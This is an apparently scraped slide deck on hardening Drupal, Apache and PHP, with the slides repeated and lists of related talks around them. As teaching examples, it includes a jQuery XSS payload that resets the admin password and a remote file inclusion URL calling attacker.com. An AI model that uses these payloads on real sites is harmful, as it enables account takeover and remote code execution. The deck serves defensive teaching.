Drupal Security Hardening

Gerald Villorente
Gerald VillorenteDrupal SuperHero at VielSoft Ltd Co.
Drupal Security Hardening
Agenda


●   Anatomy of Vulnerabilities
●   Protecting against Vulnerabilities
Kite Systems is an Agile development house
 which means the client is actively involved
    all the way through the development
                   process.
  We build high quality, secure platforms
 using Java J2EE, Microsoft .NET, Ruby on
         Rails, PHP and Python.
Join Us
About myself, Gerald Villorente

●   Web Developer/themer at Kite Systems Inc.
●   Drupal developer since 2010
●   Drupal PH kids mentor
Is Drupal Secure?
State of being “SECURE”
    A site is secure if:
●   private data is kept private,
●   the site cannot be forced offline or into a
    degraded mode by a remote visitor
●   the site resources are used only for their
    intended purposes
●   the site content can be edited only by
    appropriate users.”
Drupal Security Hardening
Drupal Security Hardening
Week spot of web applications
    For Drupal developer who wants to deliver an
    applications, security do not ends with proper use
    of Drupal security API:
●   OS (MS, Unix, BSD, OS X)
●   Web Server (Apache, IIS, Nginx, ...)
●   Web Platform (php, .NET, ...)
●   Other Services (ftp, …)
●   Web applications - attacks against authentication &
    authorization, site structure, input validation, app logic
●   database - sql injection
●   availability - DoS attacks
Common Drupal attacks

●   XSS
●   CSRF
●   Injection
XSS
 jQuery.get(Drupal.settings.basePath + 'user/1/edit',
   function (data, status) {
     if (status == 'success') {
       // Extract the token and other required data
       var matches = data.match(/id="edit-user-profile-form-form-token" value="([a-z0-9])"/);
       var token = matches[1];
       // Post the minimum amount of fields. Other fields get their default values.
       var payload = {
         "form_id": 'user_profile_form',
         "form_token": token,
         "pass[pass1]": 'hacked',
         "pass[pass2]": 'hacked'
         };
         jQuery.post(Drupal.settings.basePath + 'user/1/edit', payload);
       }
     }
   );
 }
Other Attacks
●   DDoS
●   Remote code execution
    - Exploiting register_globals in PHP

    require ($page . ".php");
    http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt
Demo
Counter Measures
●   Proper use of Drupal API
●   Coding Standard (coder, code_sniffer)
    - Coder & Sniffer demo
●   Keep up with security patches and minor
    releases
●   Permission by role (hook_perm, user_access)
●   Firewall
●   SSL (Secure Socket Layer)
Counter Measures (cont.)
●   File permission
Apache Hardening
●   Disable unneeded modules
●   Implement ModSecurity, Request Filtering,
    Anti-Evasion Techniques, HTTP Filtering
    Rules, Full Audit Logging, HTTPS
    Intercepting, Chroot Functionality, Mask
    Web Server Identity
●   Document root restriction – allow Apache to
    only go to /path/to/public_html
Apache Hardening
●    Chrooting Apache


    $ mkdir -p /var/chroot/apache

    $ adduser --home /var/chroot/apache --shell /bin/false 
        --no-create-home --system --group juandelacruz
PHP Hardening (part 1)
●   turn off register_globals
●   open_basedir - restrict php file access to only
    certain directories
●   disable_functions
●   expose_php - remove php info from http headers
●   display_errors
●   safe_mode - php can use only files which it is an
    owner
●   allow_url_fopen
PHP Hardening (part 2)
●   Suhoshin
    - php engine protection with couple of
    patches
    - range of runtime protection, session
    protection, filtering features and logging
    - features
Drupal Hardening
●   Keep updated
●   Coding standard
●   Install only trusted module, check issue
    queue
●   Use captcha, login_security, single_login,
    password_policy, salt
●   user permission
●   input formats and filter
Drupal Hardening: Coding Standard
 Never write and/or execute sql commands manually, use Drupal DB layer
 use db_query() properly


 don't write
 db_query("SELECT * FROM {users} WHERE name = '$username'") ;


 write this
 db_query("SELECT * FROM {users} WHERE name = '%s'", $username);


 placeholders are: %s, %d, %f, %b, %%


 use db_rewrite_sql to respect node access restrictions
 $result = db_query(db_rewrite_sql("SELECT n.nid, n.title FROM {node} n"));
Drupal Hardening: Form API
●   never write forms that manually uses Drupal's Forms API
●   Forms API protects you from invalid form data
●   Forms API protects you against CSRF
●   don't trust js for input validation - its easy to disable it. If
    you want to use it always check user data on server side.
●   when using AJAX use drupal_get_token and
    drupal_check_token:
●   Calculate hash of defined string, user session and site
    specific secret code
Drupal Hardening: File Upload

●   file_validate_is_image - check if file is really
    an image
●   check_file - check if file is uploaded via
    HTTP POST
●   file_check_location - Check if a file is really
    located inside $directory
●   set disk quotes properly - you don't want to
    fill server hard disk
Drupal Hardening: Respect and define
new permissions
●   consider to use hook_perm in your module
●   wrap your code with user_access
     if (user_access('some permission')) { .... }

●   filter_access($format) – check if user has
    access to requested filter format
●   use menu access arguments
Drupal Hardening: Dont trust user input

    Filter user input, sanitize the output
●   Input Format
●   filter_xss() - Filters HTML to prevent XSS
●   check_plain() - Encodes special characters
    in a plain-text string for display as HTML
●   check_url() - filter dangerous protocol
●   check_markup - Run all the enabled filters
    on a piece of text
Drupal Hardening: Dont trust user input
Again, think like a hacker...
●   Use penetration testing tool
    - Metasploit framework
    - Nessus
    - Nikto
    - Backbox and Backtrack
●   Fix, audit, fix ...
Resources
●   http://drupal.org/security
●   http://drupal.org/writing-secure-code
●   http://crackingdrupal.com
●   http://www.owasp.org
●   http://ha.ckers.org
●   http://www.exploit-db.com
Drupal Security Hardening
1 of 30

Recommended

Hack Proof Your Drupal Site by
Hack Proof Your Drupal SiteHack Proof Your Drupal Site
Hack Proof Your Drupal SiteNaveen Valecha
5.4K views27 slides
Securing Drupal 7: Do not get Hacked or Spammed to death! by
Securing Drupal 7: Do not get Hacked or Spammed to death!Securing Drupal 7: Do not get Hacked or Spammed to death!
Securing Drupal 7: Do not get Hacked or Spammed to death!Adelle Frank
14.7K views22 slides
Drupal and Security: What You Need to Know by
Drupal and Security: What You Need to KnowDrupal and Security: What You Need to Know
Drupal and Security: What You Need to KnowAcquia
2.2K views44 slides
Hack Into Drupal Sites (or, How to Secure Your Drupal Site) by
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)nyccamp
39.1K views46 slides
Attacking Drupal by
Attacking DrupalAttacking Drupal
Attacking DrupalGreg Foss
20.2K views104 slides
Secure Your Wordpress by
Secure Your WordpressSecure Your Wordpress
Secure Your Wordpressn|u - The Open Security Community
4.2K views22 slides

More Related Content

What's hot

OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017 by
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017 OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017 Philippe Gamache
713 views62 slides
Browser Serving Your Web Application Security - NorthEast PHP 2017 by
Browser Serving Your Web Application Security - NorthEast PHP 2017Browser Serving Your Web Application Security - NorthEast PHP 2017
Browser Serving Your Web Application Security - NorthEast PHP 2017Philippe Gamache
591 views62 slides
Java Secure Coding Practices by
Java Secure Coding PracticesJava Secure Coding Practices
Java Secure Coding PracticesOWASPKerala
2K views37 slides
Configuring CQ Security by
Configuring CQ SecurityConfiguring CQ Security
Configuring CQ Securityconnectwebex
5.1K views43 slides
DVWA BruCON Workshop by
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshoptestuser1223
893 views87 slides
Drupal Security Basics for the DrupalJax January Meetup by
Drupal Security Basics for the DrupalJax January MeetupDrupal Security Basics for the DrupalJax January Meetup
Drupal Security Basics for the DrupalJax January MeetupChris Hales
1.3K views31 slides

What's hot(20)

OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017 by Philippe Gamache
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017 OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
Philippe Gamache713 views
Browser Serving Your Web Application Security - NorthEast PHP 2017 by Philippe Gamache
Browser Serving Your Web Application Security - NorthEast PHP 2017Browser Serving Your Web Application Security - NorthEast PHP 2017
Browser Serving Your Web Application Security - NorthEast PHP 2017
Philippe Gamache591 views
Java Secure Coding Practices by OWASPKerala
Java Secure Coding PracticesJava Secure Coding Practices
Java Secure Coding Practices
OWASPKerala2K views
Configuring CQ Security by connectwebex
Configuring CQ SecurityConfiguring CQ Security
Configuring CQ Security
connectwebex5.1K views
DVWA BruCON Workshop by testuser1223
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshop
testuser1223893 views
Drupal Security Basics for the DrupalJax January Meetup by Chris Hales
Drupal Security Basics for the DrupalJax January MeetupDrupal Security Basics for the DrupalJax January Meetup
Drupal Security Basics for the DrupalJax January Meetup
Chris Hales1.3K views
DVWA(Damn Vulnerabilities Web Application) by Soham Kansodaria
DVWA(Damn Vulnerabilities Web Application)DVWA(Damn Vulnerabilities Web Application)
DVWA(Damn Vulnerabilities Web Application)
Soham Kansodaria7K views
Hardening Apache Web Server by Aswin by Agate Studio
Hardening Apache Web Server by AswinHardening Apache Web Server by Aswin
Hardening Apache Web Server by Aswin
Agate Studio913 views
A Drush Primer - DrupalCamp Chattanooga 2013 by Chris Hales
A Drush Primer - DrupalCamp Chattanooga 2013A Drush Primer - DrupalCamp Chattanooga 2013
A Drush Primer - DrupalCamp Chattanooga 2013
Chris Hales3.2K views
SANS @Night Talk: SQL Injection Exploited by Micah Hoffman
SANS @Night Talk: SQL Injection ExploitedSANS @Night Talk: SQL Injection Exploited
SANS @Night Talk: SQL Injection Exploited
Micah Hoffman6.3K views
WordCamp Finland 2015 - WordPress Security by Tiia Rantanen
WordCamp Finland 2015 - WordPress SecurityWordCamp Finland 2015 - WordPress Security
WordCamp Finland 2015 - WordPress Security
Tiia Rantanen6K views
10 things every developer should know about their database to run word press ... by Otto Kekäläinen
10 things every developer should know about their database to run word press ...10 things every developer should know about their database to run word press ...
10 things every developer should know about their database to run word press ...
Otto Kekäläinen5.7K views
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy by HackIT Ukraine
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
HackIT Ukraine34.6K views
Bsidesnova- Pentesting Methodology - Making bits less complicated by Octavio Paguaga
Bsidesnova- Pentesting Methodology - Making bits less complicatedBsidesnova- Pentesting Methodology - Making bits less complicated
Bsidesnova- Pentesting Methodology - Making bits less complicated
Octavio Paguaga238 views
Java Security Manager Reloaded - jOpenSpace Lightning Talk by Josef Cacek
Java Security Manager Reloaded - jOpenSpace Lightning TalkJava Security Manager Reloaded - jOpenSpace Lightning Talk
Java Security Manager Reloaded - jOpenSpace Lightning Talk
Josef Cacek1.7K views
Selenium WebDriver by Rajathi-QA
Selenium WebDriverSelenium WebDriver
Selenium WebDriver
Rajathi-QA1.1K views
Top Ten Proactive Web Security Controls v5 by Jim Manico
Top Ten Proactive Web Security Controls v5Top Ten Proactive Web Security Controls v5
Top Ten Proactive Web Security Controls v5
Jim Manico5.6K views

Similar to Drupal Security Hardening

Drupal Security from Drupalcamp Bratislava by
Drupal Security from Drupalcamp BratislavaDrupal Security from Drupalcamp Bratislava
Drupal Security from Drupalcamp BratislavaGábor Hojtsy
1K views53 slides
Looking for Vulnerable Code. Vlad Savitsky by
Looking for Vulnerable Code. Vlad SavitskyLooking for Vulnerable Code. Vlad Savitsky
Looking for Vulnerable Code. Vlad SavitskyVlad Savitsky
1.2K views41 slides
OWASP Top 10 vs Drupal - OWASP Benelux 2012 by
OWASP Top 10 vs Drupal - OWASP Benelux 2012OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012ZIONSECURITY
7.4K views66 slides
Drupal campleuven: Secure Drupal Development by
Drupal campleuven: Secure Drupal DevelopmentDrupal campleuven: Secure Drupal Development
Drupal campleuven: Secure Drupal DevelopmentSteven Van den Hout
263 views51 slides
Drupal security by
Drupal securityDrupal security
Drupal securityJozef Toth
2.3K views49 slides
Doing Drupal security right by
Doing Drupal security rightDoing Drupal security right
Doing Drupal security rightGábor Hojtsy
1.6K views54 slides

Similar to Drupal Security Hardening(20)

Drupal Security from Drupalcamp Bratislava by Gábor Hojtsy
Drupal Security from Drupalcamp BratislavaDrupal Security from Drupalcamp Bratislava
Drupal Security from Drupalcamp Bratislava
Gábor Hojtsy1K views
Looking for Vulnerable Code. Vlad Savitsky by Vlad Savitsky
Looking for Vulnerable Code. Vlad SavitskyLooking for Vulnerable Code. Vlad Savitsky
Looking for Vulnerable Code. Vlad Savitsky
Vlad Savitsky1.2K views
OWASP Top 10 vs Drupal - OWASP Benelux 2012 by ZIONSECURITY
OWASP Top 10 vs Drupal - OWASP Benelux 2012OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012
ZIONSECURITY7.4K views
Drupal security by Jozef Toth
Drupal securityDrupal security
Drupal security
Jozef Toth2.3K views
Doing Drupal security right by Gábor Hojtsy
Doing Drupal security rightDoing Drupal security right
Doing Drupal security right
Gábor Hojtsy1.6K views
Drupal security by Techday7
Drupal securityDrupal security
Drupal security
Techday74.2K views
Drupal and security - Advice for Site Builders and Coders by Arunkumar Kupppuswamy
Drupal and security - Advice for Site Builders and CodersDrupal and security - Advice for Site Builders and Coders
Drupal and security - Advice for Site Builders and Coders
Pyramid Deployment and Maintenance by Jazkarta, Inc.
Pyramid Deployment and MaintenancePyramid Deployment and Maintenance
Pyramid Deployment and Maintenance
Jazkarta, Inc.2.3K views
TangoWithDjango - ch8 by Asika Kuo
TangoWithDjango - ch8TangoWithDjango - ch8
TangoWithDjango - ch8
Asika Kuo544 views
DDD17 - Web Applications Automated Security Testing in a Continuous Delivery... by Fedir RYKHTIK
 DDD17 - Web Applications Automated Security Testing in a Continuous Delivery... DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
Fedir RYKHTIK877 views
XP Days 2019: First secret delivery for modern cloud-native applications by Vlad Fedosov
XP Days 2019: First secret delivery for modern cloud-native applicationsXP Days 2019: First secret delivery for modern cloud-native applications
XP Days 2019: First secret delivery for modern cloud-native applications
Vlad Fedosov279 views
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA) by cgmonroe
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)
cgmonroe67 views
Doing Drupal security right from Drupalcon London by Gábor Hojtsy
Doing Drupal security right from Drupalcon LondonDoing Drupal security right from Drupalcon London
Doing Drupal security right from Drupalcon London
Gábor Hojtsy2.4K views
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES by DrupalCamp Kyiv
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICESONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES
DrupalCamp Kyiv124 views
Keeping your Drupal site secure 2013 by scorlosquet
Keeping your Drupal site secure 2013Keeping your Drupal site secure 2013
Keeping your Drupal site secure 2013
scorlosquet937 views
Hong kong drupal user group nov 8th - drupal 7.32 security vulnerability by Ann Lam
Hong kong drupal user group   nov 8th - drupal 7.32 security vulnerabilityHong kong drupal user group   nov 8th - drupal 7.32 security vulnerability
Hong kong drupal user group nov 8th - drupal 7.32 security vulnerability
Ann Lam384 views
Hong kong drupal user group nov 8th - drupal 7.32 security vulnerability by Ann Lam
Hong kong drupal user group   nov 8th - drupal 7.32 security vulnerabilityHong kong drupal user group   nov 8th - drupal 7.32 security vulnerability
Hong kong drupal user group nov 8th - drupal 7.32 security vulnerability
Ann Lam222 views

More from Gerald Villorente

Of Docker and Drupal by
Of Docker and DrupalOf Docker and Drupal
Of Docker and DrupalGerald Villorente
817 views48 slides
Introduction to Kalabox by
Introduction to KalaboxIntroduction to Kalabox
Introduction to KalaboxGerald Villorente
1.1K views46 slides
Drupal Development : Tools, Tips, and Tricks by
Drupal Development : Tools, Tips, and TricksDrupal Development : Tools, Tips, and Tricks
Drupal Development : Tools, Tips, and TricksGerald Villorente
777 views33 slides
Drupal 101 V-0.1 by
Drupal 101 V-0.1Drupal 101 V-0.1
Drupal 101 V-0.1Gerald Villorente
1K views74 slides
BITS 2015: The Beauty of Drupal by
BITS 2015: The Beauty of DrupalBITS 2015: The Beauty of Drupal
BITS 2015: The Beauty of DrupalGerald Villorente
780 views20 slides
Introduction to Drupal 7 by
Introduction to Drupal 7Introduction to Drupal 7
Introduction to Drupal 7Gerald Villorente
643 views81 slides

More from Gerald Villorente(20)

Drupal Development : Tools, Tips, and Tricks by Gerald Villorente
Drupal Development : Tools, Tips, and TricksDrupal Development : Tools, Tips, and Tricks
Drupal Development : Tools, Tips, and Tricks
Gerald Villorente777 views
Introduction to Drupal - Installation, Anatomy, Terminologies by Gerald Villorente
Introduction to Drupal - Installation, Anatomy, TerminologiesIntroduction to Drupal - Installation, Anatomy, Terminologies
Introduction to Drupal - Installation, Anatomy, Terminologies
Gerald Villorente1.1K views
Consistent Development Environment with Vagrant and Chef by Gerald Villorente
Consistent Development Environment with Vagrant and ChefConsistent Development Environment with Vagrant and Chef
Consistent Development Environment with Vagrant and Chef
Gerald Villorente1.5K views
Drush Deployment Manager: Deployment Made Easy by Gerald Villorente
Drush Deployment Manager: Deployment Made EasyDrush Deployment Manager: Deployment Made Easy
Drush Deployment Manager: Deployment Made Easy
Gerald Villorente547 views
Consistent Development Environment using Vagrant and Chef by Gerald Villorente
Consistent Development Environment using Vagrant and ChefConsistent Development Environment using Vagrant and Chef
Consistent Development Environment using Vagrant and Chef
Gerald Villorente3.1K views
Drupal Pilipinas Apprentice: LAMP Administration, CSS, and Vagrant by Gerald Villorente
Drupal Pilipinas Apprentice: LAMP Administration, CSS, and VagrantDrupal Pilipinas Apprentice: LAMP Administration, CSS, and Vagrant
Drupal Pilipinas Apprentice: LAMP Administration, CSS, and Vagrant
Gerald Villorente1.7K views
Drupal Deployment and Essential Development Tools - 2nd Edition by Gerald Villorente
Drupal Deployment and Essential Development Tools - 2nd EditionDrupal Deployment and Essential Development Tools - 2nd Edition
Drupal Deployment and Essential Development Tools - 2nd Edition
Gerald Villorente855 views
Drupal Deployment and Essential Development Tools by Gerald Villorente
Drupal Deployment and Essential Development ToolsDrupal Deployment and Essential Development Tools
Drupal Deployment and Essential Development Tools
Gerald Villorente553 views
Setting Up Cross-Browser Testing Environment (Debian-based System) by Gerald Villorente
Setting Up Cross-Browser Testing Environment  (Debian-based System)Setting Up Cross-Browser Testing Environment  (Debian-based System)
Setting Up Cross-Browser Testing Environment (Debian-based System)
Gerald Villorente1.1K views

Recently uploaded

iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas... by
iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas...iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas...
iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas...Bernd Ruecker
37 views69 slides
Unit 1_Lecture 2_Physical Design of IoT.pdf by
Unit 1_Lecture 2_Physical Design of IoT.pdfUnit 1_Lecture 2_Physical Design of IoT.pdf
Unit 1_Lecture 2_Physical Design of IoT.pdfStephenTec
12 views36 slides
The details of description: Techniques, tips, and tangents on alternative tex... by
The details of description: Techniques, tips, and tangents on alternative tex...The details of description: Techniques, tips, and tangents on alternative tex...
The details of description: Techniques, tips, and tangents on alternative tex...BookNet Canada
127 views24 slides
virtual reality.pptx by
virtual reality.pptxvirtual reality.pptx
virtual reality.pptxG036GaikwadSnehal
11 views15 slides
Tunable Laser (1).pptx by
Tunable Laser (1).pptxTunable Laser (1).pptx
Tunable Laser (1).pptxHajira Mahmood
24 views37 slides
Kyo - Functional Scala 2023.pdf by
Kyo - Functional Scala 2023.pdfKyo - Functional Scala 2023.pdf
Kyo - Functional Scala 2023.pdfFlavio W. Brasil
368 views92 slides

Recently uploaded(20)

iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas... by Bernd Ruecker
iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas...iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas...
iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas...
Bernd Ruecker37 views
Unit 1_Lecture 2_Physical Design of IoT.pdf by StephenTec
Unit 1_Lecture 2_Physical Design of IoT.pdfUnit 1_Lecture 2_Physical Design of IoT.pdf
Unit 1_Lecture 2_Physical Design of IoT.pdf
StephenTec12 views
The details of description: Techniques, tips, and tangents on alternative tex... by BookNet Canada
The details of description: Techniques, tips, and tangents on alternative tex...The details of description: Techniques, tips, and tangents on alternative tex...
The details of description: Techniques, tips, and tangents on alternative tex...
BookNet Canada127 views
STPI OctaNE CoE Brochure.pdf by madhurjyapb
STPI OctaNE CoE Brochure.pdfSTPI OctaNE CoE Brochure.pdf
STPI OctaNE CoE Brochure.pdf
madhurjyapb14 views
【USB韌體設計課程】精選講義節錄-USB的列舉過程_艾鍗學院 by IttrainingIttraining
【USB韌體設計課程】精選講義節錄-USB的列舉過程_艾鍗學院【USB韌體設計課程】精選講義節錄-USB的列舉過程_艾鍗學院
【USB韌體設計課程】精選講義節錄-USB的列舉過程_艾鍗學院
ESPC 2023 - Protect and Govern your Sensitive Data with Microsoft Purview in ... by Jasper Oosterveld
ESPC 2023 - Protect and Govern your Sensitive Data with Microsoft Purview in ...ESPC 2023 - Protect and Govern your Sensitive Data with Microsoft Purview in ...
ESPC 2023 - Protect and Govern your Sensitive Data with Microsoft Purview in ...
AMAZON PRODUCT RESEARCH.pdf by JerikkLaureta
AMAZON PRODUCT RESEARCH.pdfAMAZON PRODUCT RESEARCH.pdf
AMAZON PRODUCT RESEARCH.pdf
JerikkLaureta26 views
Serverless computing with Google Cloud (2023-24) by wesley chun
Serverless computing with Google Cloud (2023-24)Serverless computing with Google Cloud (2023-24)
Serverless computing with Google Cloud (2023-24)
wesley chun11 views
GDG Cloud Southlake 28 Brad Taylor and Shawn Augenstein Old Problems in the N... by James Anderson
GDG Cloud Southlake 28 Brad Taylor and Shawn Augenstein Old Problems in the N...GDG Cloud Southlake 28 Brad Taylor and Shawn Augenstein Old Problems in the N...
GDG Cloud Southlake 28 Brad Taylor and Shawn Augenstein Old Problems in the N...
James Anderson85 views
Automating a World-Class Technology Conference; Behind the Scenes of CiscoLive by Network Automation Forum
Automating a World-Class Technology Conference; Behind the Scenes of CiscoLiveAutomating a World-Class Technology Conference; Behind the Scenes of CiscoLive
Automating a World-Class Technology Conference; Behind the Scenes of CiscoLive
PharoJS - Zürich Smalltalk Group Meetup November 2023 by Noury Bouraqadi
PharoJS - Zürich Smalltalk Group Meetup November 2023PharoJS - Zürich Smalltalk Group Meetup November 2023
PharoJS - Zürich Smalltalk Group Meetup November 2023
Noury Bouraqadi127 views

Drupal Security Hardening

  • 2. Agenda ● Anatomy of Vulnerabilities ● Protecting against Vulnerabilities
  • 3. Kite Systems is an Agile development house which means the client is actively involved all the way through the development process. We build high quality, secure platforms using Java J2EE, Microsoft .NET, Ruby on Rails, PHP and Python.
  • 5. About myself, Gerald Villorente ● Web Developer/themer at Kite Systems Inc. ● Drupal developer since 2010 ● Drupal PH kids mentor
  • 7. State of being “SECURE” A site is secure if: ● private data is kept private, ● the site cannot be forced offline or into a degraded mode by a remote visitor ● the site resources are used only for their intended purposes ● the site content can be edited only by appropriate users.”
  • 10. Week spot of web applications For Drupal developer who wants to deliver an applications, security do not ends with proper use of Drupal security API: ● OS (MS, Unix, BSD, OS X) ● Web Server (Apache, IIS, Nginx, ...) ● Web Platform (php, .NET, ...) ● Other Services (ftp, …) ● Web applications - attacks against authentication & authorization, site structure, input validation, app logic ● database - sql injection ● availability - DoS attacks
  • 11. Common Drupal attacks ● XSS ● CSRF ● Injection
  • 12. XSS jQuery.get(Drupal.settings.basePath + 'user/1/edit', function (data, status) { if (status == 'success') { // Extract the token and other required data var matches = data.match(/id="edit-user-profile-form-form-token" value="([a-z0-9])"/); var token = matches[1]; // Post the minimum amount of fields. Other fields get their default values. var payload = { "form_id": 'user_profile_form', "form_token": token, "pass[pass1]": 'hacked', "pass[pass2]": 'hacked' }; jQuery.post(Drupal.settings.basePath + 'user/1/edit', payload); } } ); }
  • 13. Other Attacks ● DDoS ● Remote code execution - Exploiting register_globals in PHP require ($page . ".php"); http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt
  • 14. Demo
  • 15. Counter Measures ● Proper use of Drupal API ● Coding Standard (coder, code_sniffer) - Coder & Sniffer demo ● Keep up with security patches and minor releases ● Permission by role (hook_perm, user_access) ● Firewall ● SSL (Secure Socket Layer)
  • 16. Counter Measures (cont.) ● File permission
  • 17. Apache Hardening ● Disable unneeded modules ● Implement ModSecurity, Request Filtering, Anti-Evasion Techniques, HTTP Filtering Rules, Full Audit Logging, HTTPS Intercepting, Chroot Functionality, Mask Web Server Identity ● Document root restriction – allow Apache to only go to /path/to/public_html
  • 18. Apache Hardening ● Chrooting Apache $ mkdir -p /var/chroot/apache $ adduser --home /var/chroot/apache --shell /bin/false --no-create-home --system --group juandelacruz
  • 19. PHP Hardening (part 1) ● turn off register_globals ● open_basedir - restrict php file access to only certain directories ● disable_functions ● expose_php - remove php info from http headers ● display_errors ● safe_mode - php can use only files which it is an owner ● allow_url_fopen
  • 20. PHP Hardening (part 2) ● Suhoshin - php engine protection with couple of patches - range of runtime protection, session protection, filtering features and logging - features
  • 21. Drupal Hardening ● Keep updated ● Coding standard ● Install only trusted module, check issue queue ● Use captcha, login_security, single_login, password_policy, salt ● user permission ● input formats and filter
  • 22. Drupal Hardening: Coding Standard Never write and/or execute sql commands manually, use Drupal DB layer use db_query() properly don't write db_query("SELECT * FROM {users} WHERE name = '$username'") ; write this db_query("SELECT * FROM {users} WHERE name = '%s'", $username); placeholders are: %s, %d, %f, %b, %% use db_rewrite_sql to respect node access restrictions $result = db_query(db_rewrite_sql("SELECT n.nid, n.title FROM {node} n"));
  • 23. Drupal Hardening: Form API ● never write forms that manually uses Drupal's Forms API ● Forms API protects you from invalid form data ● Forms API protects you against CSRF ● don't trust js for input validation - its easy to disable it. If you want to use it always check user data on server side. ● when using AJAX use drupal_get_token and drupal_check_token: ● Calculate hash of defined string, user session and site specific secret code
  • 24. Drupal Hardening: File Upload ● file_validate_is_image - check if file is really an image ● check_file - check if file is uploaded via HTTP POST ● file_check_location - Check if a file is really located inside $directory ● set disk quotes properly - you don't want to fill server hard disk
  • 25. Drupal Hardening: Respect and define new permissions ● consider to use hook_perm in your module ● wrap your code with user_access if (user_access('some permission')) { .... } ● filter_access($format) – check if user has access to requested filter format ● use menu access arguments
  • 26. Drupal Hardening: Dont trust user input Filter user input, sanitize the output ● Input Format ● filter_xss() - Filters HTML to prevent XSS ● check_plain() - Encodes special characters in a plain-text string for display as HTML ● check_url() - filter dangerous protocol ● check_markup - Run all the enabled filters on a piece of text
  • 27. Drupal Hardening: Dont trust user input
  • 28. Again, think like a hacker... ● Use penetration testing tool - Metasploit framework - Nessus - Nikto - Backbox and Backtrack ● Fix, audit, fix ...
  • 29. Resources ● http://drupal.org/security ● http://drupal.org/writing-secure-code ● http://crackingdrupal.com ● http://www.owasp.org ● http://ha.ckers.org ● http://www.exploit-db.com